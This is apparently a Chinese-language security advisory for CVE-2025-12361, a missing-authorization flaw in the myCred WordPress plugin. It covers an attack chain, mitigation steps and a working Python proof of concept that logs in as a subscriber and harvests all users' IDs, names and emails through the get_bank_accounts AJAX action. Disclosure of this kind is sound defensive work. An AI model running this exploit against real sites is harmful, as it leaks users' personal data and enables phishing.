IPBUF安全漏洞报告
English
CVE-2025-12361 CVSS 4.3 中危

CVE-2025-12361 myCred插件缺失授权漏洞导致用户信息泄露

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-12361
漏洞类型
缺失授权(Missing Authorization)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
myCred – Points Management System For Gamification, Ranks, Badges, and Loyalty Program (WordPress插件)

相关标签

缺失授权WordPress插件漏洞信息泄露IDORmyCredAJAX安全水平越权用户数据泄露CMS漏洞CVE-2025-12361

漏洞概述

CVE-2025-12361是WordPress插件myCred中发现的一个中等严重性安全漏洞。该插件是WordPress平台上流行的积分管理系统,用于游戏化、等级、徽章和忠诚度计划等功能。漏洞源于插件未正确验证用户权限,认证用户(具有Subscriber级别或更高权限)可通过get_bank_accounts AJAX操作未经授权访问敏感用户信息。攻击者可利用此漏洞获取网站上所有用户的ID、显示名称和电子邮件地址等敏感数据。虽然密码不会被暴露,但这些信息足以支持进一步的社会工程攻击或账户接管尝试。该漏洞影响版本包括2.9.7.1及之前的所有版本,已于2025年12月19日被披露。

技术细节

该漏洞属于WordPress插件常见的缺失授权(IDOR/Insecure Direct Object Reference)类型。myCred插件的get_bank_accounts AJAX端点(位于addons/banking/services/mycred-service-central.php文件)在处理请求时,仅检查用户是否已登录,而未验证用户是否具有访问其他用户银行账户信息的权限。攻击者只需拥有WordPress站点的最低级别账户(Subscriber角色),即可通过构造恶意AJAX请求调用该端点。请求会返回包含所有用户敏感信息的响应,包括用户ID、显示名称(display_name)和电子邮件地址。攻击者可通过遍历或批量请求的方式获取完整用户列表。此漏洞的利用复杂度较低(AC:L),攻击向量为网络层面(AV:N),无需任何用户交互(UI:N),属于典型的垂直越权访问问题。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress站点的Subscriber级别账户(可通过自动注册或社工手段获取)
STEP 2
步骤2
攻击者构造包含get_bank_accounts AJAX action的恶意请求
STEP 3
步骤3
发送恶意请求到wp-admin/admin-ajax.php端点
STEP 4
步骤4
服务器端插件未验证授权即返回所有用户的敏感信息(ID、显示名称、邮箱)
STEP 5
步骤5
攻击者收集并利用泄露的用户信息进行进一步攻击(如钓鱼、社会工程或凭证填充)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-12361 PoC - myCred Missing Authorization # Target: WordPress site with myCred plugin <= 2.9.7.1 target_url = "http://target-wordpress-site.com" # The vulnerable AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Step 1: Authenticate with low-privilege account (subscriber level) session = requests.Session() # Login payload - replace with valid credentials login_data = { "log": "attacker_username", "pwd": "attacker_password", "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } # Login to WordPress login_response = session.post(f"{target_url}/wp-login.php", data=login_data) print(f"Login Status: {login_response.status_code}") # Step 2: Exploit the vulnerable get_bank_accounts AJAX action # This action lacks proper authorization checks poc_payload = { "action": "get_bank_accounts", "hook": "banking", "request": json.dumps({ "ref": "mycred_default", "ref_id": 0, "user_id": 0, "data": {} }) } # Send exploit request exploit_response = session.post(ajax_url, data=poc_payload) print(f"Exploit Status: {exploit_response.status_code}") print(f"Response: {exploit_response.text}") # Step 3: Parse leaked user information try: data = exploit_response.json() if "data" in data: print("\n[!] Successfully leaked user information:") for user in data["data"]: print(f" User ID: {user.get('id')}, " f"Name: {user.get('display_name')}, " f"Email: {user.get('user_email')}") except: print("[-] No valid JSON response or no data leaked")

影响范围

myCred插件 <= 2.9.7.1(所有版本)

防御指南

临时缓解措施
立即将myCred插件升级到2.9.7.2或更高版本。如果无法立即升级,可暂时禁用myCred插件的banking功能,或使用Web应用防火墙(WAF)规则阻止对get_bank_accounts AJAX action的访问。同时限制WordPress站点的用户注册功能,防止攻击者轻易获取Subscriber级别账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表